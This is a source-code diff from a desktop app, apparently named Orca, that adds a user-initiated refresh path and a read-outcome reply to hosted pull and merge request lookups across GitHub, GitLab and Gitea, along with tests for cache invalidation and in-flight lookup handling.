3998a1beea2..1daa0127c9a 100644 --- a/src/main/ipc/hosted-review.test.ts +++ b/src/main/ipc/hosted-review.test.ts @@ -51,7 +51,12 @@ vi.mock('../source-control/stacked-hosted-review-creation', () => ({ })) vi.mock('../source-control/hosted-review', () => ({ - getHostedReviewForBranch: getHostedReviewForBranchMock + getHostedReviewForBranch: getHostedReviewForBranchMock, + // Handlers read through this; keep asserting on the one mock. + readHostedReviewForBranch: vi.fn(async (input: unknown) => ({ + review: await getHostedReviewForBranchMock(input), + readOutcome: 'cached' + })) })) vi.mock('./registered-worktree-roots-cache', () => ({ @@ -63,11 +68,31 @@ vi.mock('../repo-worktrees', () => ({ })) import { registerHostedReviewHandlers } from './hosted-review' +import { readHostedReviewForBranch } from '../source-control/hosted-review' +import type { HostedReviewInfo } from '../../shared/hosted-review' import { WslDistroStoppedError } from '../wsl/wsl-unc-access-gate' import { WorktreeCatalogUnavailableError } from '../../shared/worktree/worktree-catalog-availability' type HandlerMap = Record unknown> +const providerReview: HostedReviewInfo = { + provider: 'gitlab', + number: 7, + title: 'MR', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + state: 'open', + status: 'success', + mergeable: 'MERGEABLE', + updatedAt: '2026-10-30' +} +// Only a caller that asks gets the outcome envelope; a definitive null keeps its outcome too. +const READ_OUTCOME_REPLIES = [ + { reportReadOutcome: true, review: providerReview }, + { reportReadOutcome: true, review: null }, + { reportReadOutcome: false, review: providerReview }, + { reportReadOutcome: undefined, review: null } +] + describe('registerHostedReviewHandlers', () => { const handlers: HandlerMap = {} const repoPath = '/remote/workspace/repo' @@ -431,7 +456,7 @@ describe('registerHostedReviewHandlers', () => { expect(getHostedReviewCreationEligibilityMock).toHaveBeenCalledTimes(reads) }) - it('carries a selected-worktree claim and explicit refresh through to the branch lookup', async () => { + it('carries a selected-worktree claim and explicit refresh through, and replies with the outcome only when asked', async () => { getHostedReviewForBranchMock.mockResolvedValueOnce(null) registerHostedReviewHandlers(store as never, stats as never) @@ -440,13 +465,34 @@ describe('registerHostedReviewHandlers', () => { repoId: repo.id, branch: 'feature/selected', active: true, - force: true + force: true, + userRefresh: true }) // Selected-worktree lookups use the faster active tier, unlike O(N) card polling (#11532). expect(getHostedReviewForBranchMock).toHaveBeenCalledWith( - expect.objectContaining({ branch: 'feature/selected', active: true, force: true }) + expect.objectContaining({ + branch: 'feature/selected', + active: true, + force: true, + userRefresh: true + }) ) + + for (const { reportReadOutcome, review } of READ_OUTCOME_REPLIES) { + vi.mocked(readHostedReviewForBranch).mockResolvedValueOnce({ + review, + readOutcome: 'provider' + }) + const reply = await handlers['hostedReview:forBranch'](null, { + repoPath, + repoId: repo.id, + branch: 'feature/selected', + userRefresh: true, + ...(reportReadOutcome === undefined ? {} : { reportReadOutcome }) + }) + expect(reply).toEqual(reportReadOutcome ? { review, readOutcome: 'provider' } : review) + } }) it('uses interactive git admission for an explicit card refresh', async () => { diff --git a/src/main/ipc/hosted-review.ts b/src/main/ipc/hosted-review.ts index 4ebd6c41fa7..91835949086 100644 --- a/src/main/ipc/hosted-review.ts +++ b/src/main/ipc/hosted-review.ts @@ -14,7 +14,8 @@ import { getHostedReviewCreationEligibility } from '../source-control/hosted-review-creation' import { createStackedHostedReview } from '../source-control/stacked-hosted-review-creation' -import { getHostedReviewForBranch } from '../source-control/hosted-review' +import { hostedReviewForBranchReply } from '../../shared/hosted-review' +import { readHostedReviewForBranch } from '../source-control/hosted-review' import { resolveRegisteredWorktreePath } from './registered-worktree-roots-cache' import { listRepoWorktreeGraph } from '../repo-worktrees' import { @@ -115,10 +116,10 @@ export function registerHostedReviewHandlers(store: Store, stats: StatsCollector // Sidebar cards and the checks panel poll this for every provider; gh/glab in WSL boot it (E9). // Only an explicit Refresh may start a stopped distro; admissionTier is priority only, and // the visible scheduler sends 'interactive' for the selected card on a timer. - const review = await guardWslUncPathAccess( + const read = await guardWslUncPathAccess( repo.path, () => - getHostedReviewForBranch({ + readHostedReviewForBranch({ repoPath: repo.path, executionHostId: getStoredRepoExecutionHostId(repo), branch: args.branch, @@ -131,10 +132,12 @@ export function registerHostedReviewHandlers(store: Store, stats: StatsCollector currentHeadOid: args.currentHeadOid ?? null, ...(args.active === true ? { active: true } : {}), ...(args.force === true ? { force: true } : {}), + ...(args.userRefresh === true ? { userRefresh: true } : {}), localGitExecOptions: localGitOptions }), { wake: args.wakeWslDistro === true, wslDistro: localGitOptions.wslDistro } ) + const review = read.review if (review?.provider === 'github' && !stats.hasCountedPR(review.url)) { stats.record({ type: 'pr_created', @@ -143,7 +146,7 @@ export function registerHostedReviewHandlers(store: Store, stats: StatsCollector meta: { prNumber: review.number, prUrl: review.url } }) } - return review + return hostedReviewForBranchReply(read, args.reportReadOutcome) }) ipcMain.handle( diff --git a/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts b/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts index 9c3c773ae5b..39500eb8bc5 100644 --- a/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts +++ b/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts @@ -419,7 +419,12 @@ vi.mock('../../source-control/stacked-hosted-review-creation', () => ({ })) vi.mock('../../source-control/hosted-review', () => ({ - getHostedReviewForBranch: getHostedReviewForBranchMock + getHostedReviewForBranch: getHostedReviewForBranchMock, + // Handlers read through this; keep asserting on the one mock. + readHostedReviewForBranch: vi.fn(async (input: unknown) => ({ + review: await getHostedReviewForBranchMock(input), + readOutcome: 'cached' + })) })) vi.mock('../../github/client', async (importOriginal) => { diff --git a/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts b/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts index 4ff812e3ba7..d243b99c082 100644 --- a/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts +++ b/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts @@ -1,5 +1,7 @@ import { describe, expect, it, vi } from 'vitest' import { OrcaRuntimeService, gitRunner, setPlatform } from '../orca-runtime-test-mocks.spec' +import { readHostedReviewForBranch } from '../../source-control/hosted-review' +import type { HostedReviewInfo } from '../../../shared/hosted-review' import { TEST_REPO_ID, TEST_REPO_PATH, @@ -113,4 +115,39 @@ describe('OrcaRuntimeService', () => { asyncGitSpy.mockRestore() } }) + + const mr: HostedReviewInfo = { + provider: 'gitlab', + number: 7, + title: 'MR', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + state: 'open', + status: 'success', + mergeable: 'MERGEABLE', + updatedAt: '2026-10-30' + } + it.each([ + { reportReadOutcome: true, review: mr, label: 'a review' }, + { reportReadOutcome: true, review: null, label: 'a definitive null' }, + { reportReadOutcome: false, review: mr, label: 'a review' }, + { reportReadOutcome: undefined, review: null, label: 'a definitive null' } + ])( + 'answers $label with the read outcome only when asked (reportReadOutcome=$reportReadOutcome)', + async ({ reportReadOutcome, review }) => { + vi.mocked(readHostedReviewForBranch).mockResolvedValueOnce({ + review, + readOutcome: 'provider' + }) + const runtime = new OrcaRuntimeService(store) + + const reply = await runtime.getHostedReviewForBranch({ + repoSelector: `id:${TEST_REPO_ID}`, + branch: 'feature', + userRefresh: true, + ...(reportReadOutcome === undefined ? {} : { reportReadOutcome }) + }) + + expect(reply).toEqual(reportReadOutcome ? { review, readOutcome: 'provider' } : review) + } + ) }) diff --git a/src/main/runtime/rpc/methods/hosted-review.test.ts b/src/main/runtime/rpc/methods/hosted-review.test.ts index 33c76089707..4b0e7edb0d0 100644 --- a/src/main/runtime/rpc/methods/hosted-review.test.ts +++ b/src/main/runtime/rpc/methods/hosted-review.test.ts @@ -1,3 +1,6 @@ +import { z } from 'zod' +import { requiredString } from '../../../../shared/rpc-contract/rpc-param-primitives' +import { OptionalGitAdmissionTier } from '../../../../shared/rpc-contract/git-admission-tier-params' import '../unused-default-rpc-methods.test-fixture' import { describe, expect, it, vi } from 'vitest' import { RpcDispatcher } from '../dispatcher' @@ -5,11 +8,49 @@ import type { RpcRequest } from '../core' import type { OrcaRuntimeService } from '../../orca-runtime' import { HOSTED_REVIEW_METHODS } from './hosted-review' +// Shipped pre-force host schema at 9905765e3b8; unknown intent must remain ignorable. +const preForceHostParams = z.object({ + repo: requiredString('Missing repo selector'), + branch: requiredString('Missing branch'), + admissionTier: OptionalGitAdmissionTier, + currentHeadOid: z.string().nullable().optional(), + // Only the caller's selected worktree; the host caps how many earn the fast tier. + active: z.boolean().optional(), + linkedGitHubPR: z.number().int().positive().nullable().optional(), + fallbackGitHubPR: z.number().int().positive().nullable().optional(), + linkedGitLabMR: z.number().int().positive().nullable().optional(), + linkedBitbucketPR: z.number().int().positive().nullable().optional(), + linkedAzureDevOpsPR: z.number().int().positive().nullable().optional(), + linkedGiteaPR: z.number().int().positive().nullable().optional() +}) + function makeRequest(method: string, params?: unknown): RpcRequest { return { id: 'req-1', authToken: 'tok', method, params } } describe('hosted review RPC methods', () => { + it('keeps the same operation callable on hosts before intent and before force forwarding', () => { + const request = { + repo: '/repo', + branch: 'feature', + force: true, + userRefresh: true, + linkedGitLabMR: 7 + } + expect(preForceHostParams.parse(request)).toEqual({ + repo: '/repo', + branch: 'feature', + linkedGitLabMR: 7 + }) + const preIntentHostParams = preForceHostParams.extend({ force: z.boolean().optional() }) + expect(preIntentHostParams.parse(request)).toEqual({ + repo: '/repo', + branch: 'feature', + force: true, + linkedGitLabMR: 7 + }) + }) + it('fetches branch review status on the runtime server', async () => { const runtime = { getRuntimeId: () => 'test-runtime', @@ -50,7 +91,7 @@ describe('hosted review RPC methods', () => { }) }) - it('carries a selected-worktree claim and explicit refresh through to the runtime', async () => { + it('carries a selected-worktree claim, explicit refresh and outcome request through to the runtime', async () => { const runtime = { getRuntimeId: () => 'test-runtime', getHostedReviewForBranch: vi.fn().mockResolvedValue(null) @@ -62,13 +103,20 @@ describe('hosted review RPC methods', () => { repo: '/repo', branch: 'feature/selected', active: true, - force: true + force: true, + userRefresh: true, + reportReadOutcome: true }) ) // Mobile PR sidebar refresh must bypass card-list pacing to discover reviews opened elsewhere (#11532). expect(runtime.getHostedReviewForBranch).toHaveBeenCalledWith( - expect.objectContaining({ active: true, force: true }) + expect.objectContaining({ + active: true, + force: true, + userRefresh: true, + reportReadOutcome: true + }) ) }) diff --git a/src/main/runtime/rpc/methods/hosted-review.ts b/src/main/runtime/rpc/methods/hosted-review.ts index 1b177ea4ced..df1878fdbbf 100644 --- a/src/main/runtime/rpc/methods/hosted-review.ts +++ b/src/main/runtime/rpc/methods/hosted-review.ts @@ -22,6 +22,8 @@ export const HOSTED_REVIEW_METHODS = [ currentHeadOid: params.currentHeadOid ?? null, ...(params.active === true ? { active: true } : {}), ...(params.force === true ? { force: true } : {}), + ...(params.userRefresh === true ? { userRefresh: true } : {}), + ...(params.reportReadOutcome === true ? { reportReadOutcome: true } : {}), linkedGitHubPR: params.linkedGitHubPR ?? null, ...(fallbackGitHubPR !== null ? { fallbackGitHubPR } : {}), linkedGitLabMR: params.linkedGitLabMR ?? null, diff --git a/src/main/runtime/runtime-hosted-review-commands.ts b/src/main/runtime/runtime-hosted-review-commands.ts index 72746c4fc5b..7d2d0488f73 100644 --- a/src/main/runtime/runtime-hosted-review-commands.ts +++ b/src/main/runtime/runtime-hosted-review-commands.ts @@ -5,7 +5,7 @@ import type { CreateStackedHostedReviewResult, HostedReviewCreationEligibility, HostedReviewCreationEligibilityArgs, - HostedReviewInfo + HostedReviewForBranchReply } from '../../shared/hosted-review' import type { GitHubOwnerRepo } from '../../shared/github/pull-request-types' import type { @@ -21,7 +21,8 @@ import { } from '../github/client' import { admissionTierForRefreshReason } from '../github/pr-refresh-candidate-policy' import type { GitAdmissionTier } from '../git/command-runner/git-exec-options' -import { getHostedReviewForBranch } from '../source-control/hosted-review' +import { hostedReviewForBranchReply } from '../../shared/hosted-review' +import { readHostedReviewForBranch } from '../source-control/hosted-review' import { getStoredRepoExecutionHostId } from '../repo-execution-host' import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' import { @@ -106,22 +107,25 @@ export class RuntimeHostedReviewCommands { currentHeadOid?: string | null active?: boolean force?: boolean + userRefresh?: boolean + reportReadOutcome?: boolean linkedGitHubPR?: number | null fallbackGitHubPR?: number | null linkedGitLabMR?: number | null linkedBitbucketPR?: number | null linkedAzureDevOpsPR?: number | null linkedGiteaPR?: number | null - }): Promise { + }): Promise { const repo = await this.deps.resolveRepo(args.repoSelector) const executionOptions = this.deps.getExecutionOptions(repo, args.admissionTier ?? 'background') - const review = await getHostedReviewForBranch({ + const read = await readHostedReviewForBranch({ repoPath: repo.path, executionHostId: getStoredRepoExecutionHostId(repo), branch: args.branch, currentHeadOid: args.currentHeadOid ?? null, ...(args.active === true ? { active: true } : {}), ...(args.force === true ? { force: true } : {}), + ...(args.userRefresh === true ? { userRefresh: true } : {}), linkedGitHubPR: args.linkedGitHubPR ?? null, fallbackGitHubPR: args.linkedGitHubPR == null ? (args.fallbackGitHubPR ?? null) : null, linkedGitLabMR: args.linkedGitLabMR ?? null, @@ -130,10 +134,11 @@ export class RuntimeHostedReviewCommands { linkedGiteaPR: args.linkedGiteaPR ?? null, ...executionOptions }) + const review = read.review if (review?.provider === 'github') { this.deps.recordCreated(repo.id, review.number, review.url) } - return review + return hostedReviewForBranchReply(read, args.reportReadOutcome) } async getHostedReviewCreationEligibility( diff --git a/src/main/source-control/hosted-review-branch-cache.ts b/src/main/source-control/hosted-review-branch-cache.ts index eceb5aaeea7..24c8466faf2 100644 --- a/src/main/source-control/hosted-review-branch-cache.ts +++ b/src/main/source-control/hosted-review-branch-cache.ts @@ -1,5 +1,6 @@ import type { ExecutionHostId } from '../../shared/execution-host' -import type { HostedReviewInfo } from '../../shared/hosted-review' +import type { HostedReviewForBranchOutcome, HostedReviewInfo } from '../../shared/hosted-review' +import { cachedHostedReviewOutcome } from '../../shared/hosted-review' import { __resetHostedReviewActiveClaimsForTests, isActiveBranch, @@ -19,6 +20,7 @@ import { getInflightLookup, releaseInflight, retireInflightWithPrefix, + retireInflightLookup, trackInflight, type InflightToken } from './hosted-review-inflight-lookups' @@ -35,6 +37,7 @@ import { dropFailuresWithPrefix, noteFailure } from './hosted-review-lookup-backoff' +import { observeProviderRead } from './hosted-review-provider-read' import { ACTIVE_REFRESH_INTERVAL_MS, HOSTED_REVIEW_LOOKUP_DEADLINE_MS, @@ -79,6 +82,7 @@ export type HostedReviewBranchCacheOptions = { /** Set by surfaces that only ever render the selected worktree. */ active?: boolean force?: boolean + userRefresh?: boolean } export function hostedReviewBranchCacheKey(identity: HostedReviewBranchCacheIdentity): string { @@ -180,16 +184,18 @@ function startLookup( key: string, scope: string, headOid: string | null, + revisionScope: string, lookup: () => Promise -): Promise { +): Promise { const startedAt = Date.now() const generation = scopeGeneration(scope) + const revision = scopeGeneration(revisionScope) const token: InflightToken = {} let timedOut = false let completed = false - let release: (review: HostedReviewInfo | null) => void = () => {} + let release: (read: HostedReviewForBranchOutcome) => void = () => {} let fail: (error: unknown) => void = () => {} - const promise = new Promise((resolve, reject) => { + const promise = new Promise((resolve, reject) => { release = resolve fail = reject }) @@ -209,11 +215,6 @@ function startLookup( } // Detached work remains uninterruptible; count it process-wide until completion. noteDetachedLookup() - const stale = entries.get(key) - if (stale) { - release(stale.review) - return - } fail( new Error( `Hosted review lookup timed out after ${Math.round( @@ -234,10 +235,11 @@ function startLookup( void (async () => { try { - const review = await lookup() + const { value: review, answeredFromProviderCache } = await observeProviderRead(lookup) // Generation invalidates pre-creation answers; without key ownership, stragglers must prove their result still outranks the cache. const stored = generation === scopeGeneration(scope) && + revision === scopeGeneration(revisionScope) && (getInflightLookup(key)?.token === token || canAdoptDetachedAnswer(key, startedAt)) if (stored) { storeEntry(key, { review, fetchedAt: Date.now(), headOid, startedAt }) @@ -246,7 +248,7 @@ function startLookup( if (stored && !timedOut) { clearFailures(key) } - release(review) + release({ review, readOutcome: stored && !answeredFromProviderCache ? 'provider' : 'cached' }) } catch (error) { // Deadline already counted failure; never count late rejection twice. if (timedOut) { @@ -256,12 +258,6 @@ function startLookup( if (getInflightLookup(key)?.token === token) { noteFailure(key) } - // Keep last-good data on failure to avoid blinking cards; invalidation still removes obsolete answers. - const stale = entries.get(key) - if (stale) { - release(stale.review) - return - } fail(error) } finally { completed = true @@ -279,12 +275,18 @@ function startLookup( return promise } -/** Share fresh answers/in-flight lookups across clients and back off failed branches. */ export async function withHostedReviewBranchCache( + ...args: Parameters +): Promise { + return (await readHostedReviewBranchCache(...args)).review +} + +/** Share fresh answers/in-flight lookups across clients and back off failed branches. */ +export async function readHostedReviewBranchCache( identity: HostedReviewBranchCacheIdentity, options: HostedReviewBranchCacheOptions, lookup: () => Promise -): Promise { +): Promise { const key = hostedReviewBranchCacheKey(identity) const headOid = options.headOid // Sweep wall-clock deadlines before joining so suspended timers cannot pin a branch after sleep. @@ -296,28 +298,53 @@ export async function withHostedReviewBranchCache( const active = isActiveBranch(key) const cached = entries.get(key) - if (!options.force && cached && isFresh(cached, headOid, active)) { - return cached.review + if (!options.userRefresh && !options.force && cached && isFresh(cached, headOid, active)) { + return cachedHostedReviewOutcome(cached.review) } - const pending = getInflightLookup(key) - if (pending) { - return pending.promise - } - - const unavailable = lookupUnavailableReason(key) + // Admission is keyed independently of revision; a refused click cannot retire an admitted owner. + const unavailable = options.userRefresh ? lookupCapacityRefusal(key) : null if (unavailable !== null) { - // Serve stale answers on backoff, but without cached evidence report error rather than no review. - if (cached) { - return cached.review - } throw new Error(unavailable) } + const revisionScope = `branch-refresh${KEY_SEPARATOR}${key}` + if (options.userRefresh) { + bumpScopeGeneration(revisionScope) + retireInflightLookup(key) + } - return startLookup( - key, - hostedReviewRepoScope(identity.repoPath, identity.executionHostId), - headOid, - lookup + const settleForCaller = async (promise: Promise) => { + try { + return await promise + } catch (error) { + const stale = entries.get(key) + if (!options.userRefresh && stale) { + return cachedHostedReviewOutcome(stale.review) + } + throw error + } + } + const pending = getInflightLookup(key) + if (pending) { + // The owner began before this caller asked, so its answer can't prove a read after this caller's failure. + return settleForCaller(pending.promise.then(({ review }) => cachedHostedReviewOutcome(review))) + } + + const refusal = options.userRefresh ? null : lookupUnavailableReason(key) + if (refusal !== null) { + if (cached) { + return cachedHostedReviewOutcome(cached.review) + } + throw new Error(refusal) + } + + return settleForCaller( + startLookup( + key, + hostedReviewRepoScope(identity.repoPath, identity.executionHostId), + headOid, + revisionScope, + lookup + ) ) } diff --git a/src/main/source-control/hosted-review-gitea.integration.test.ts b/src/main/source-control/hosted-review-gitea.integration.test.ts index b83e2fd5f34..63ee743aba3 100644 --- a/src/main/source-control/hosted-review-gitea.integration.test.ts +++ b/src/main/source-control/hosted-review-gitea.integration.test.ts @@ -36,6 +36,7 @@ describe('Gitea hosted review integration', () => { it('resolves a Gitea PR through real git remote parsing and HTTP API calls', async () => { const seen: SeenRequest[] = [] + let merged = false const server = createServer((req: IncomingMessage, res: ServerResponse) => { const url = new URL(req.url ?? '/', `http://${req.headers.host ?? '127.0.0.1'}`) seen.push({ @@ -49,7 +50,8 @@ describe('Gitea hosted review integration', () => { { number: 9, title: 'Local Gitea branch', - state: 'open', + state: merged ? 'closed' : 'open', + merged, html_url: 'http://127.0.0.1/team/repo/pulls/9', updated_at: '2026-05-15T00:00:00Z', mergeable: true, @@ -107,6 +109,17 @@ describe('Gitea hosted review integration', () => { ]) expect(seen.every((request) => request.authorization === 'token local-token')).toBe(true) expect(new URLSearchParams(seen[0].search).get('state')).toBe('all') + + // Merged on the web: a click inside the 30s repository-scan window still reads the new state. + merged = true + await expect( + getHostedReviewForBranch({ + executionHostId: 'local', + repoPath, + branch: 'refs/heads/feature/gitea', + userRefresh: true + }) + ).resolves.toMatchObject({ provider: 'gitea', number: 9, state: 'merged' }) } finally { await rm(repoPath, { recursive: true, force: true }) await new Promise((resolve, reject) => { diff --git a/src/main/source-control/hosted-review-inflight-invalidation.test.ts b/src/main/source-control/hosted-review-inflight-invalidation.test.ts index 5d68ccb0c89..088e9a02a85 100644 --- a/src/main/source-control/hosted-review-inflight-invalidation.test.ts +++ b/src/main/source-control/hosted-review-inflight-invalidation.test.ts @@ -266,3 +266,126 @@ describe('hosted review in-flight invalidation', () => { expect(freshLookup).toHaveBeenCalledTimes(1) }) }) + +const START = 1_000_000 +const openReview = review +const mergedReview: HostedReviewInfo = { ...review, state: 'merged' } +function stuckLookup() { + const response = Promise.withResolvers() + return { + lookup: vi.fn(() => response.promise), + resolve: response.resolve, + reject: response.reject + } +} +describe('hosted review manual refresh invalidation', () => { + // The branch cache never branches on the forge, so one stands for all of them. + it('starts a post-click read and fences the pre-click answer at the same clock time', async () => { + const old = stuckLookup() + const before = withHostedReviewBranchCache(identity, { headOid: null, force: true }, old.lookup) + const lookup = vi.fn(async () => mergedReview) + const options = { headOid: null, force: true, userRefresh: true } + const click = withHostedReviewBranchCache(identity, options, lookup) + old.resolve(openReview) + await expect(before).resolves.toMatchObject({ state: 'open' }) + await expect(click).resolves.toEqual(mergedReview) + expect(lookup).toHaveBeenCalledOnce() + await expect(withHostedReviewBranchCache(identity, { headOid: null }, lookup)).resolves.toEqual( + mergedReview + ) + }) + + it('fences a pre-click answer that completes after the manual answer', async () => { + const old = stuckLookup() + const before = withHostedReviewBranchCache(identity, { headOid: null }, old.lookup) + await expect( + withHostedReviewBranchCache( + identity, + { headOid: null, force: true, userRefresh: true }, + async () => mergedReview + ) + ).resolves.toEqual(mergedReview) + old.resolve(openReview) + await before + await expect( + withHostedReviewBranchCache(identity, { headOid: null }, async () => openReview) + ).resolves.toEqual(mergedReview) + }) + + it('reads during failure backoff only for an explicit click, then recovers', async () => { + await withHostedReviewBranchCache(identity, { headOid: null }, async () => openReview) + const failed = vi.fn(async () => { + throw new Error('offline') + }) + await withHostedReviewBranchCache(identity, { headOid: null, force: true }, failed) + const lookup = vi.fn(async () => mergedReview) + await expect( + withHostedReviewBranchCache(identity, { headOid: null, force: true }, lookup) + ).resolves.toEqual(openReview) + expect(lookup).not.toHaveBeenCalled() + const options = { headOid: null, force: true, userRefresh: true } + await expect(withHostedReviewBranchCache(identity, options, failed)).rejects.toThrow('offline') + await expect(withHostedReviewBranchCache(identity, options, lookup)).resolves.toEqual( + mergedReview + ) + expect(lookup).toHaveBeenCalledOnce() + }) + + it.each(['failure', 'deadline'] as const)( + 'settles a shared manual flight per caller on %s', + async (outcome) => { + await withHostedReviewBranchCache(identity, { headOid: null }, async () => openReview) + const held = stuckLookup() + const options = { headOid: null, force: true, userRefresh: true } + const click = withHostedReviewBranchCache(identity, options, held.lookup) + const rejection = expect(click).rejects.toThrow( + outcome === 'failure' ? 'offline' : 'timed out' + ) + const ordinary = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + held.lookup + ) + if (outcome === 'failure') { + held.reject(new Error('offline')) + } else { + await vi.advanceTimersByTimeAsync(HOSTED_REVIEW_LOOKUP_DEADLINE_MS) + } + await rejection + await expect(ordinary).resolves.toEqual(openReview) + expect(held.lookup).toHaveBeenCalledOnce() + // Failed refreshes cannot renew the old answer's TTL or reset failure escalation. + vi.setSystemTime(START + HOSTED_REVIEW_LOOKUP_DEADLINE_MS + 60_001) + const next = vi.fn(async () => mergedReview) + await withHostedReviewBranchCache(identity, { headOid: null }, next) + expect(next).toHaveBeenCalledOnce() + if (outcome === 'deadline') { + held.resolve(openReview) + } + } + ) + + it('refuses a third live click without retiring the admitted successor', async () => { + const first = stuckLookup() + const second = stuckLookup() + const options = { headOid: null, force: true, userRefresh: true } + const before = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + first.lookup + ) + const admitted = withHostedReviewBranchCache(identity, options, second.lookup) + const third = vi.fn(async () => openReview) + const refused = withHostedReviewBranchCache(identity, options, third) + const rejection = expect(refused).rejects.toThrow('still running') + second.resolve(mergedReview) + first.resolve(openReview) + await rejection + await expect(admitted).resolves.toEqual(mergedReview) + await before + expect(third).not.toHaveBeenCalled() + await expect(withHostedReviewBranchCache(identity, { headOid: null }, third)).resolves.toEqual( + mergedReview + ) + }) +}) diff --git a/src/main/source-control/hosted-review-inflight-lookups.test.ts b/src/main/source-control/hosted-review-inflight-lookups.test.ts index 149de43c097..cf987d3cfdb 100644 --- a/src/main/source-control/hosted-review-inflight-lookups.test.ts +++ b/src/main/source-control/hosted-review-inflight-lookups.test.ts @@ -19,14 +19,14 @@ it.each(['completion', 'deadline'])( trackInflight('repo\0branch', { token: oldToken, startedAt: 0, - promise: Promise.resolve(null), + promise: Promise.resolve({ review: null, readOutcome: 'provider' as const }), expire: oldExpire }) retireInflightWithPrefix('repo\0') const replacement = { token: {}, startedAt: HOSTED_REVIEW_LOOKUP_DEADLINE_MS, - promise: Promise.resolve(null), + promise: Promise.resolve({ review: null, readOutcome: 'provider' as const }), expire: vi.fn() } trackInflight('repo\0branch', replacement) diff --git a/src/main/source-control/hosted-review-inflight-lookups.ts b/src/main/source-control/hosted-review-inflight-lookups.ts index 189dec50798..cfc15a3a9f7 100644 --- a/src/main/source-control/hosted-review-inflight-lookups.ts +++ b/src/main/source-control/hosted-review-inflight-lookups.ts @@ -1,4 +1,4 @@ -import type { HostedReviewInfo } from '../../shared/hosted-review' +import type { HostedReviewForBranchOutcome } from '../../shared/hosted-review' import { HOSTED_REVIEW_LOOKUP_DEADLINE_MS, MAX_INFLIGHT_LOOKUPS @@ -13,7 +13,7 @@ export type InflightRecord = { /** Identity, so a detached lookup can only ever clear its own entry. */ token: InflightToken startedAt: number - promise: Promise + promise: Promise /** Releases the callers and unpins the branch; idempotent. */ expire: () => void } @@ -36,12 +36,19 @@ export function releaseInflight(key: string, token: InflightToken): boolean { return true } +export function retireInflightLookup(key: string): void { + const record = inflight.get(key) + if (record) { + retired.set(record.token, record) + inflight.delete(key) + } +} + /** Retire matching owners without failing their callers. */ export function retireInflightWithPrefix(prefix: string): void { - for (const [key, record] of inflight) { + for (const key of inflight.keys()) { if (key.startsWith(prefix)) { - retired.set(record.token, record) - inflight.delete(key) + retireInflightLookup(key) } } } diff --git a/src/main/source-control/hosted-review-provider-read.ts b/src/main/source-control/hosted-review-provider-read.ts new file mode 100644 index 00000000000..6cce27d8d5d --- /dev/null +++ b/src/main/source-control/hosted-review-provider-read.ts @@ -0,0 +1,22 @@ +import { AsyncLocalStorage } from 'node:async_hooks' + +type ProviderRead = { answeredFromProviderCache: boolean } + +const currentRead = new AsyncLocalStorage() + +/** Runs one hosted-review provider read and reports whether a provider-internal cache answered it, so that answer is never taken as a fresh read. */ +export async function observeProviderRead( + read: () => Promise +): Promise<{ value: T; answeredFromProviderCache: boolean }> { + const observation: ProviderRead = { answeredFromProviderCache: false } + const value = await currentRead.run(observation, read) + return { value, answeredFromProviderCache: observation.answeredFromProviderCache } +} + +/** Provider caches call this when they answer with work that began before the current read. */ +export function noteProviderCacheAnswer(): void { + const observation = currentRead.getStore() + if (observation) { + observation.answeredFromProviderCache = true + } +} diff --git a/src/main/source-control/hosted-review.test.ts b/src/main/source-control/hosted-review.test.ts index dc32b85a2dc..3ee678d94bb 100644 --- a/src/main/source-control/hosted-review.test.ts +++ b/src/main/source-control/hosted-review.test.ts @@ -81,6 +81,41 @@ describe('getHostedReviewForBranch', () => { __resetHostedReviewBranchCacheForTests() }) + it('refreshes a self-managed GitLab MR through the provider while old metadata is pending', async () => { + getProjectSlugMock.mockResolvedValue({ host: 'gitlab.example.test', path: 'g/p' }) + const old = { + number: 7, + title: 'MR', + state: 'opened', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + pipelineStatus: 'success', + updatedAt: '2026-05-10T00:00:00.000Z', + mergeable: 'MERGEABLE' + } + let finishOld: (value: typeof old) => void = () => {} + getMergeRequestForBranchMock + .mockReturnValueOnce( + new Promise((resolve) => { + finishOld = resolve + }) + ) + .mockResolvedValueOnce({ ...old, state: 'merged' }) + const input = { + repoPath: '/repo', + executionHostId: 'ssh:ssh-1', + branch: 'feature', + force: true + } as const + const before = getHostedReviewForBranch(input) + await vi.waitFor(() => expect(getMergeRequestForBranchMock).toHaveBeenCalledTimes(1)) + const click = getHostedReviewForBranch({ ...input, userRefresh: true }) + finishOld(old) + await before + await expect(click).resolves.toMatchObject({ provider: 'gitlab', state: 'merged', number: 7 }) + expect(getMergeRequestForBranchMock).toHaveBeenCalledTimes(2) + expect(getMergeRequestForBranchMock).toHaveBeenLastCalledWith('/repo', 'feature', null, 'ssh-1') + }) + it('maps GitLab merge requests into the hosted review surface', async () => { getProjectSlugMock.mockResolvedValue({ host: 'gitlab.com', path: 'g/p' }) getMergeRequestForBranchMock.mockResolvedValue({ diff --git a/src/main/source-control/hosted-review.ts b/src/main/source-control/hosted-review.ts index 02743851851..d5b0bb03d92 100644 --- a/src/main/source-control/hosted-review.ts +++ b/src/main/source-control/hosted-review.ts @@ -1,17 +1,22 @@ import { githubRepoContext, withGitHubRepoExecution } from '../github/github-repository-identity' import type { ExecutionHostId } from '../../shared/execution-host' -import type { HostedReviewInfo } from '../../shared/hosted-review' +import { + cachedHostedReviewOutcome, + type HostedReviewForBranchOutcome, + type HostedReviewInfo +} from '../../shared/hosted-review' import { assertRemoteUrlReadable } from '../git/remote-url-probe' +import { forgetGiteaPullRequestReads } from '../gitea/pull-request-read-forgetting' import { getForgeProviderForRepository, type ForgeProviderId } from './forge-provider' import { hostedReviewSshConnectionId } from './hosted-review-execution-host' -import { withHostedReviewBranchCache } from './hosted-review-branch-cache' +import { readHostedReviewBranchCache } from './hosted-review-branch-cache' import { getHostedReviewLocalGitOptions, type HostedReviewExecutionOptions } from './hosted-review-git-options' function reviewLinkForProvider( - input: Parameters[0], + input: Parameters[0], provider: 